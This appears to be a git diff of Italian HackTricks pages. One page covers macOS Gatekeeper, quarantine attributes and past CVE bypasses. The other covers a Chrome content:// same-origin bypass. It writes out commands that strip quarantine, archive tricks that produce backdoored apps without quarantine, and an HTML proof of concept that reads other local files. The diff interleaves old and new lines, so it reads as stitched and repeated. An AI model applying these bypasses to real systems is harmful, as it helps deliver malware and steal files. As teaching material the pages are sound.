int qtn\_proc\_apply\_to\_self(qtn\_proc\_t); void qtn\_proc\_init(qtn\_proc\_t); int qtn\_proc\_init\_with\_self(qtn\_proc\_t); int qtn\_proc\_set\_flags(qtn\_proc\_t, uint32\_t flags); qtn\_proc\_t qtn\_proc\_alloc(); void qtn\_proc\_free(qtn\_proc\_t); qtn\_file\_t qtn\_file\_alloc(void); void qtn\_file\_free(qtn\_file\_t qf); int qtn\_file\_set\_flags(qtn\_file\_t qf, uint32\_t flags); uint32\_t qtn\_file\_get\_flags(qtn\_file\_t qf); int qtn\_file\_apply\_to\_path(qtn\_file\_t qf, const char \*path); int qtn\_file\_init\_with\_path(qtn\_file\_t qf, const char _path); int qtn\_proc\_set\_identifier(qtn\_proc\_t qp, const char_ bundleid);
|
||||
int qtn_proc_apply_to_self(qtn_proc_t);
|
||||
void qtn_proc_init(qtn_proc_t);
|
||||
int qtn_proc_init_with_self(qtn_proc_t);
|
||||
int qtn_proc_set_flags(qtn_proc_t, uint32_t flags);
|
||||
qtn_proc_t qtn_proc_alloc();
|
||||
void qtn_proc_free(qtn_proc_t);
|
||||
qtn_file_t qtn_file_alloc(void);
|
||||
void qtn_file_free(qtn_file_t qf);
|
||||
int qtn_file_set_flags(qtn_file_t qf, uint32_t flags);
|
||||
uint32_t qtn_file_get_flags(qtn_file_t qf);
|
||||
int qtn_file_apply_to_path(qtn_file_t qf, const char *path);
|
||||
int qtn_file_init_with_path(qtn_file_t qf, const char *path);
|
||||
int qtn_proc_set_identifier(qtn_proc_t qp, const char* bundleid);
|
||||
|
||||
int main() {
|
||||
|
||||
qtn\_proc\_t qp = qtn\_proc\_alloc(); qtn\_proc\_set\_identifier(qp, "xyz.hacktricks.qa"); qtn\_proc\_set\_flags(qp, QTN\_FLAG\_DOWNLOAD | QTN\_FLAG\_USER\_APPROVED); qtn\_proc\_apply\_to\_self(qp); qtn\_proc\_free(qp);
|
||||
qtn_proc_t qp = qtn_proc_alloc();
|
||||
qtn_proc_set_identifier(qp, "xyz.hacktricks.qa");
|
||||
qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED);
|
||||
qtn_proc_apply_to_self(qp);
|
||||
qtn_proc_free(qp);
|
||||
|
||||
FILE \*fp; fp = fopen("thisisquarantined.txt", "w+"); fprintf(fp, "Hello Quarantine\n"); fclose(fp);
|
||||
FILE *fp;
|
||||
fp = fopen("thisisquarantined.txt", "w+");
|
||||
fprintf(fp, "Hello Quarantine\n");
|
||||
fclose(fp);
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
````
|
||||
```
|
||||
</details>
|
||||
|
||||
E **rimuovi** quell'attributo con:
|
||||
|
@ -252,9 +270,8 @@ E **rimuovi** quell'attributo con:
|
|||
xattr -d com.apple.quarantine portada.png
|
||||
#You can also remove this attribute from every file with
|
||||
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
||||
````
|
||||
|
||||
E trova tutti i file in quarantena con:
|
||||
```
|
||||
E trova tutti i file messi in quarantena con:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -264,19 +281,19 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
|
|||
|
||||
Le informazioni sulla quarantena sono anche memorizzate in un database centrale gestito da LaunchServices in **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**.
|
||||
|
||||
**Quarantine.kext**
|
||||
#### **Quarantine.kext**
|
||||
|
||||
L'estensione del kernel è disponibile solo tramite la **cache del kernel nel sistema**; tuttavia, è possibile scaricare il **Kernel Debug Kit da https://developer.apple.com/**, che conterrà una versione simbolizzata dell'estensione.
|
||||
L'estensione del kernel è disponibile solo attraverso la **cache del kernel sul sistema**; tuttavia, è possibile scaricare il **Kernel Debug Kit da https://developer.apple.com/**, che conterrà una versione simbolizzata dell'estensione.
|
||||
|
||||
#### XProtect
|
||||
### XProtect
|
||||
|
||||
XProtect è una funzione integrata di **anti-malware** in macOS. XProtect **controlla ogni applicazione quando viene avviata o modificata per la prima volta rispetto al suo database** di malware conosciuti e tipi di file non sicuri. Quando si scarica un file tramite determinate app, come Safari, Mail o Messaggi, XProtect esegue automaticamente una scansione del file. Se corrisponde a un malware noto nel suo database, XProtect **impedisce l'esecuzione del file** e ti avvisa della minaccia.
|
||||
XProtect è una funzionalità integrata di **anti-malware** in macOS. XProtect **controlla ogni applicazione quando viene avviata o modificata per la prima volta nel confronto con il suo database** di malware conosciuti e tipi di file non sicuri. Quando si scarica un file tramite determinate app, come Safari, Mail o Messaggi, XProtect esegue automaticamente la scansione del file. Se corrisponde a un malware noto nel suo database, XProtect **impedirà l'esecuzione del file** e ti avviserà della minaccia.
|
||||
|
||||
Il database di XProtect viene **aggiornato regolarmente** da Apple con nuove definizioni di malware e questi aggiornamenti vengono scaricati e installati automaticamente sul tuo Mac. Ciò garantisce che XProtect sia sempre aggiornato con le ultime minacce conosciute.
|
||||
Il database di XProtect è **aggiornato regolarmente** da Apple con nuove definizioni di malware, e questi aggiornamenti vengono scaricati e installati automaticamente sul tuo Mac. Ciò garantisce che XProtect sia sempre aggiornato con le ultime minacce conosciute.
|
||||
|
||||
Tuttavia, è importante notare che **XProtect non è una soluzione antivirus completa**. Controlla solo un elenco specifico di minacce conosciute e non esegue la scansione in tempo reale come la maggior parte dei software antivirus.
|
||||
Tuttavia, è importante notare che **XProtect non è una soluzione antivirus completa**. Controlla solo una specifica lista di minacce conosciute e non esegue la scansione on-access come la maggior parte del software antivirus.
|
||||
|
||||
È possibile ottenere informazioni sull'ultimo aggiornamento di XProtect eseguendo:
|
||||
Puoi ottenere informazioni sull'ultimo aggiornamento di XProtect eseguendo:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -284,77 +301,73 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
XProtect si trova in una posizione protetta da SIP su **/Library/Apple/System/Library/CoreServices/XProtect.bundle** e all'interno del bundle è possibile trovare le seguenti informazioni utilizzate da XProtect:
|
||||
XProtect si trova in una posizione protetta da SIP in **/Library/Apple/System/Library/CoreServices/XProtect.bundle** e all'interno del bundle puoi trovare le seguenti informazioni utilizzate da XProtect:
|
||||
|
||||
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Consente al codice con questi cdhash di utilizzare i diritti ereditati.
|
||||
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Elenco di plugin ed estensioni che non sono consentiti di caricare tramite BundleID e TeamID o che indicano una versione minima.
|
||||
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Regole Yara per rilevare malware.
|
||||
* **`XProtect.bundle/Contents/Resources/gk.db`**: Database SQLite3 con hash di applicazioni bloccate e TeamID.
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Consente al codice con quei cdhash di utilizzare i diritti legacy.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Elenco di plugin ed estensioni che non sono consentiti di caricare tramite BundleID e TeamID o indicando una versione minima.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Regole Yara per rilevare malware.
|
||||
- **`XProtect.bundle/Contents/Resources/gk.db`**: Database SQLite3 con hash di applicazioni bloccate e TeamID.
|
||||
|
||||
Si noti che c'è un'altra app in **`/Library/Apple/System/Library/CoreServices/XProtect.app`** correlata a XProtect che non è coinvolta nel processo di Gatekeeper.
|
||||
Si noti che c'è un'altra App in **`/Library/Apple/System/Library/CoreServices/XProtect.app`** relativa a XProtect che non è coinvolta nel processo di Gatekeeper.
|
||||
|
||||
#### Non Gatekeeper
|
||||
### Non Gatekeeper
|
||||
|
||||
Si noti che Gatekeeper **non viene eseguito ogni volta** che si esegue un'applicazione, solo _**AppleMobileFileIntegrity**_ (AMFI) verificherà solo le **firme del codice eseguibile** quando si esegue un'app che è già stata eseguita e verificata da Gatekeeper.
|
||||
{% hint style="danger" %}
|
||||
Si noti che Gatekeeper **non viene eseguito ogni volta** che si esegue un'applicazione, solo _**AppleMobileFileIntegrity**_ (AMFI) verificherà solo le **firme del codice eseguibile** quando si esegue un'applicazione che è stata già eseguita e verificata da Gatekeeper.
|
||||
{% endhint %}
|
||||
|
||||
Pertanto, in passato era possibile eseguire un'app per memorizzarla con Gatekeeper, quindi **modificare file non eseguibili dell'applicazione** (come i file Electron asar o NIB) e se non erano presenti altre protezioni, l'applicazione veniva **eseguita** con le aggiunte **malevole**.
|
||||
Pertanto, in passato era possibile eseguire un'applicazione per memorizzarla con Gatekeeper, quindi **modificare file non eseguibili dell'applicazione** (come file Electron asar o NIB) e se non erano presenti altre protezioni, l'applicazione veniva **eseguita** con le **aggiunte maligne**.
|
||||
|
||||
Tuttavia, ora ciò non è possibile perché macOS **impedisce la modifica dei file** all'interno dei bundle delle applicazioni. Quindi, se si prova l'attacco [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), si scoprirà che non è più possibile abusarne perché dopo aver eseguito l'app per memorizzarla con Gatekeeper, non sarà possibile modificare il bundle. E se si cambia ad esempio il nome della directory Contents in NotCon (come indicato nell'exploit) e quindi si esegue il binario principale dell'app per memorizzarla con Gatekeeper, si verificherà un errore e non verrà eseguito.
|
||||
Tuttavia, ora ciò non è più possibile perché macOS **impedisce la modifica dei file** all'interno dei bundle delle applicazioni. Quindi, se provi l'attacco [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), scoprirai che non è più possibile abusarne perché dopo aver eseguito l'applicazione per memorizzarla con Gatekeeper, non sarai in grado di modificare il bundle. E se ad esempio cambi il nome della directory Contents in NotCon (come indicato nell'exploit), e quindi esegui il binario principale dell'applicazione per memorizzarlo con Gatekeeper, verrà generato un errore e non verrà eseguito.
|
||||
|
||||
### Bypass di Gatekeeper
|
||||
## Bypass di Gatekeeper
|
||||
|
||||
Qualsiasi modo per eludere Gatekeeper (riuscire a far scaricare all'utente qualcosa ed eseguirlo quando Gatekeeper dovrebbe impedirlo) è considerato una vulnerabilità in macOS. Questi sono alcuni CVE assegnati a tecniche che hanno permesso di eludere Gatekeeper in passato:
|
||||
Qualsiasi modo per aggirare Gatekeeper (riuscire a far scaricare qualcosa all'utente ed eseguirlo quando Gatekeeper dovrebbe impedirlo) è considerato una vulnerabilità in macOS. Di seguito sono riportati alcuni CVE assegnati a tecniche che hanno permesso di aggirare Gatekeeper in passato:
|
||||
|
||||
#### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
Si è osservato che se l'**Utility Archivio** viene utilizzata per l'estrazione, i file con **percorsi superiori a 886 caratteri** non ricevono l'attributo esteso com.apple.quarantine. Questa situazione permette involontariamente a quei file di **eludere i controlli di sicurezza di Gatekeeper**.
|
||||
È stato osservato che se l'**Utility Archivio** viene utilizzata per l'estrazione, i file con **percorsi superiori a 886 caratteri** non ricevono l'attributo esteso com.apple.quarantine. Questa situazione consente involontariamente a quei file di **aggirare i controlli di sicurezza di Gatekeeper**.
|
||||
|
||||
Consultare il [**rapporto originale**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) per ulteriori informazioni.
|
||||
Consulta il [**rapporto originale**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) per ulteriori informazioni.
|
||||
|
||||
#### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
Quando un'applicazione viene creata con **Automator**, le informazioni su ciò che deve essere eseguito sono contenute in `application.app/Contents/document.wflow` e non nell'eseguibile. L'eseguibile è solo un binario generico di Automator chiamato **Automator Application Stub**.
|
||||
Quando un'applicazione viene creata con **Automator**, le informazioni su ciò di cui ha bisogno per eseguire sono all'interno di `application.app/Contents/document.wflow` e non nell'eseguibile. L'eseguibile è solo un binario generico di Automator chiamato **Stub Applicazione Automator**.
|
||||
|
||||
Pertanto, è possibile fare in modo che `application.app/Contents/MacOS/Automator\ Application\ Stub` **punti con un link simbolico a un altro Automator Application Stub all'interno del sistema** e verrà eseguito ciò che è contenuto in `document.wflow` (lo script) **senza attivare Gatekeeper** perché l'eseguibile effettivo non ha l'attributo di quarantena.
|
||||
Pertanto, è possibile fare in modo che `application.app/Contents/MacOS/Automator\ Application\ Stub` **punti con un link simbolico a un altro Stub Applicazione Automator all'interno del sistema** e eseguirà ciò che è all'interno di `document.wflow` (lo script) **senza attivare Gatekeeper** perché l'eseguibile effettivo non ha l'attributo di quarantena.
|
||||
|
||||
Esempio della posizione prevista: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||
|
||||
Consultare il [**rapporto originale**](https://ronmasas.com/posts/bypass-macos-gatekeeper) per ulteriori informazioni.
|
||||
Consulta il [**rapporto originale**](https://ronmasas.com/posts/bypass-macos-gatekeeper) per ulteriori informazioni.
|
||||
|
||||
#### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
In questo bypass è stato creato un file zip con un'applicazione che inizia a comprimere da `application.app/Contents` anziché da `application.app`. Pertanto, l'attributo **quarantena** è stato applicato a tutti i **file da `application.app/Contents`** ma **non a `application.app`**, che era ciò che Gatekeeper stava controllando, quindi Gatekeeper è stato eluso perché quando è stato attivato `application.app` **non aveva l'attributo di quarantena**.
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
In questo bypass è stato creato un file zip con un'applicazione che inizia a comprimere da `application.app/Contents` anziché da `application.app`. Pertanto, l'**attributo di quarantena** è stato applicato a tutti i **file da `application.app/Contents`** ma **non a `application.app`**, che era ciò che controllava Gatekeeper, quindi Gatekeeper è stato aggirato perché quando veniva attivato `application.app` **non aveva l'attributo di quarantena.**
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
|
||||
Controlla il [**rapporto originale**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) per ulteriori informazioni.
|
||||
|
||||
#### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
Anche se i componenti sono diversi, lo sfruttamento di questa vulnerabilità è molto simile alla precedente. In questo caso genereremo un Apple Archive da **`application.app/Contents`** in modo che **`application.app` non ottenga l'attributo di quarantena** quando viene decompresso da **Archive Utility**.
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
Anche se i componenti sono diversi, lo sfruttamento di questa vulnerabilità è molto simile a quella precedente. In questo caso genereremo un Archivio Apple da **`application.app/Contents`** in modo che **`application.app` non otterrà l'attributo di quarantena** quando viene decompresso da **Archive Utility**.
|
||||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
|
||||
Controlla il [**rapporto originale**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) per ulteriori informazioni.
|
||||
|
||||
#### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||
|
||||
L'ACL **`writeextattr`** può essere utilizzato per impedire a chiunque di scrivere un attributo in un file:
|
||||
|
||||
```bash
|
||||
touch /tmp/no-attr
|
||||
chmod +a "everyone deny writeextattr" /tmp/no-attr
|
||||
xattr -w attrname vale /tmp/no-attr
|
||||
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
|
||||
Inoltre, il formato file **AppleDouble** copia un file inclusi i suoi ACE.
|
||||
|
||||
Nel [**codice sorgente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) è possibile vedere che la rappresentazione testuale dell'ACL memorizzata all'interno dell'xattr chiamato **`com.apple.acl.text`** verrà impostata come ACL nel file decompresso. Quindi, se si comprime un'applicazione in un file zip con il formato file **AppleDouble** con un ACL che impedisce la scrittura di altri xattr... l'xattr di quarantena non viene impostato nell'applicazione:
|
||||
Nel [**codice sorgente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) è possibile vedere che la rappresentazione testuale dell'ACL memorizzata all'interno dell'xattr chiamato **`com.apple.acl.text`** verrà impostata come ACL nel file decompresso. Quindi, se hai compresso un'applicazione in un file zip con il formato file **AppleDouble** con un ACL che impedisce ad altri xattr di essere scritti su di esso... l'xattr di quarantena non è stato impostato nell'applicazione:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -368,21 +381,19 @@ python3 -m http.server
|
|||
Controlla il [**rapporto originale**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) per ulteriori informazioni.
|
||||
|
||||
Nota che questo potrebbe essere sfruttato anche con AppleArchives:
|
||||
|
||||
```bash
|
||||
mkdir app
|
||||
touch app/test
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" app/test
|
||||
aa archive -d app -o test.aar
|
||||
```
|
||||
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||
|
||||
#### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||
È stato scoperto che **Google Chrome non impostava l'attributo di quarantena** per i file scaricati a causa di alcuni problemi interni di macOS.
|
||||
|
||||
È stato scoperto che **Google Chrome non impostava l'attributo di quarantena** ai file scaricati a causa di alcuni problemi interni di macOS.
|
||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
#### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
I formati di file AppleDouble memorizzano gli attributi di un file in un file separato che inizia con `._`, ciò aiuta a copiare gli attributi dei file **tra le macchine macOS**. Tuttavia, è stato notato che dopo la decompressione di un file AppleDouble, il file che inizia con `._` **non veniva dotato dell'attributo di quarantena**.
|
||||
I formati file AppleDouble memorizzano gli attributi di un file in un file separato che inizia con `._`, questo aiuta a copiare gli attributi dei file **tra le macchine macOS**. Tuttavia, è stato notato che dopo la decompressione di un file AppleDouble, il file che inizia con `._` **non riceveva l'attributo di quarantena**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -396,9 +407,8 @@ aa archive -d test/ -o test.aar
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Essere in grado di creare un file che non avrà l'attributo di quarantena impostato, era **possibile eludere Gatekeeper**. Il trucco consisteva nel **creare un'applicazione di file DMG** utilizzando la convenzione di nome AppleDouble (iniziare con `._`) e creare un **file visibile come un collegamento simbolico a questo file nascosto** senza l'attributo di quarantena.\
|
||||
Essere in grado di creare un file che non avrà l'attributo di quarantena impostato, era **possibile eludere Gatekeeper.** Il trucco era **creare un'applicazione file DMG** utilizzando la convenzione dei nomi AppleDouble (iniziare con `._`) e creare un **file visibile come un collegamento simbolico a questo file nascosto** senza l'attributo di quarantena.\
|
||||
Quando il **file dmg viene eseguito**, poiché non ha un attributo di quarantena, **eluderà Gatekeeper**.
|
||||
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
|
@ -414,11 +424,10 @@ ln -s ._app.dmg s/app/app.dmg
|
|||
echo "[+] compressing files"
|
||||
aa archive -d s/ -o app.aar
|
||||
```
|
||||
### Impedire la xattr di quarantena
|
||||
|
||||
#### Prevenire l'attributo di quarantena
|
||||
In un bundle ".app", se la xattr di quarantena non è aggiunta, quando viene eseguita **Gatekeeper non verrà attivato**.
|
||||
|
||||
In un pacchetto ".app", se l'attributo di quarantena non viene aggiunto, **Gatekeeper non verrà attivato**.
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
|
||||
</details>
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
|
|
@ -1,35 +1,38 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Questa è una sintesi del post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
### Elenco dei file in Media Store
|
||||
Per elencare i file gestiti da Media Store, può essere utilizzato il comando seguente:
|
||||
**Questa è un riassunto del post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||
|
||||
### Elencazione dei File nello Store Media
|
||||
Per elencare i file gestiti dallo Store Media, può essere utilizzato il comando seguente:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file
|
||||
```
|
||||
Per ottenere un output più comprensibile per gli utenti, visualizzando solo l'identificatore e il percorso di ogni file indicizzato:
|
||||
Per un output più user-friendly, visualizzare solo l'identificatore e il percorso di ciascun file indicizzato:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file --projection _id,_data
|
||||
```
|
||||
I provider di contenuti sono isolati nel proprio namespace privato. L'accesso a un provider richiede un URI specifico `content://`. Le informazioni sui percorsi per accedere a un provider possono essere ottenute dai manifest delle applicazioni o dal codice sorgente del framework Android.
|
||||
I provider di contenuti sono isolati nel proprio namespace privato. L'accesso a un provider richiede l'URI specifico `content://`. Le informazioni sui percorsi per accedere a un provider possono essere ottenute dai manifest delle applicazioni o dal codice sorgente del framework di Android.
|
||||
|
||||
### Accesso di Chrome ai provider di contenuti
|
||||
Chrome su Android può accedere ai provider di contenuti tramite lo schema `content://`, consentendo di accedere a risorse come foto o documenti esportati da applicazioni di terze parti. Per illustrare ciò, è possibile inserire un file nel Media Store e quindi accedervi tramite Chrome:
|
||||
### Accesso di Chrome ai Provider di Contenuti
|
||||
Chrome su Android può accedere ai provider di contenuti attraverso lo schema `content://`, consentendogli di accedere a risorse come foto o documenti esportati da applicazioni di terze parti. Per illustrare questo, un file può essere inserito nel Media Store e quindi accessibile tramite Chrome:
|
||||
|
||||
Inserisci una voce personalizzata nel Media Store:
|
||||
Inserire una voce personalizzata nel Media Store:
|
||||
```bash
|
||||
cd /sdcard
|
||||
echo "Hello, world!" > test.txt
|
||||
|
@ -51,11 +54,11 @@ content query --uri content://media/external/file --projection _id,_data | grep
|
|||
```
|
||||
### Chrome CVE-2020-6516: Bypass della Same-Origin-Policy
|
||||
|
||||
La _Same Origin Policy_ (SOP) è un protocollo di sicurezza nei browser che limita le pagine web dall'interagire con risorse provenienti da origini diverse, a meno che non sia esplicitamente consentito da una politica di Cross-Origin-Resource-Sharing (CORS). Questa politica mira a prevenire le falle di informazioni e i falsi richieste di siti incrociati. Chrome considera `content://` come uno schema locale, implicando regole SOP più rigorose, in cui ogni URL con schema locale viene trattato come un'origine separata.
|
||||
Il _Same Origin Policy_ (SOP) è un protocollo di sicurezza nei browser che limita le pagine web dall'interagire con risorse provenienti da origini diverse a meno che non siano esplicitamente consentite da una politica di Cross-Origin-Resource-Sharing (CORS). Questa politica mira a prevenire perdite di informazioni e falsificazioni di richieste tra siti. Chrome considera `content://` come uno schema locale, implicando regole SOP più rigide, dove ogni URL con schema locale è trattato come un'origine separata.
|
||||
|
||||
Tuttavia, CVE-2020-6516 era una vulnerabilità in Chrome che consentiva di aggirare le regole SOP per le risorse caricate tramite un URL `content://`. In pratica, il codice JavaScript da un URL `content://` poteva accedere ad altre risorse caricate tramite URL `content://`, il che rappresentava una preoccupazione significativa per la sicurezza, specialmente sui dispositivi Android con versioni precedenti ad Android 10, dove lo storage limitato non era implementato.
|
||||
Tuttavia, CVE-2020-6516 è stata una vulnerabilità in Chrome che ha permesso di aggirare le regole SOP per le risorse caricate tramite un URL `content://`. In pratica, il codice JavaScript da un URL `content://` poteva accedere ad altre risorse caricate tramite URL `content://`, il che costituiva una preoccupazione significativa per la sicurezza, specialmente su dispositivi Android con versioni precedenti ad Android 10, dove lo storage limitato non era implementato.
|
||||
|
||||
Il seguente esempio dimostra questa vulnerabilità, in cui un documento HTML, dopo essere stato caricato in **/sdcard** e aggiunto al Media Store, utilizza `XMLHttpRequest` nel suo JavaScript per accedere e visualizzare il contenuto di un altro file nel Media Store, aggirando le regole SOP.
|
||||
Il proof-of-concept di seguito dimostra questa vulnerabilità, dove un documento HTML, dopo essere stato caricato sotto **/sdcard** e aggiunto al Media Store, utilizza `XMLHttpRequest` nel suo JavaScript per accedere e visualizzare i contenuti di un altro file nel Media Store, aggirando le regole SOP.
|
||||
|
||||
Proof-of-Concept HTML:
|
||||
```xml
|
||||
|
@ -86,16 +89,20 @@ xhr.send();
|
|||
<body onload="poc()"></body>
|
||||
</html>
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
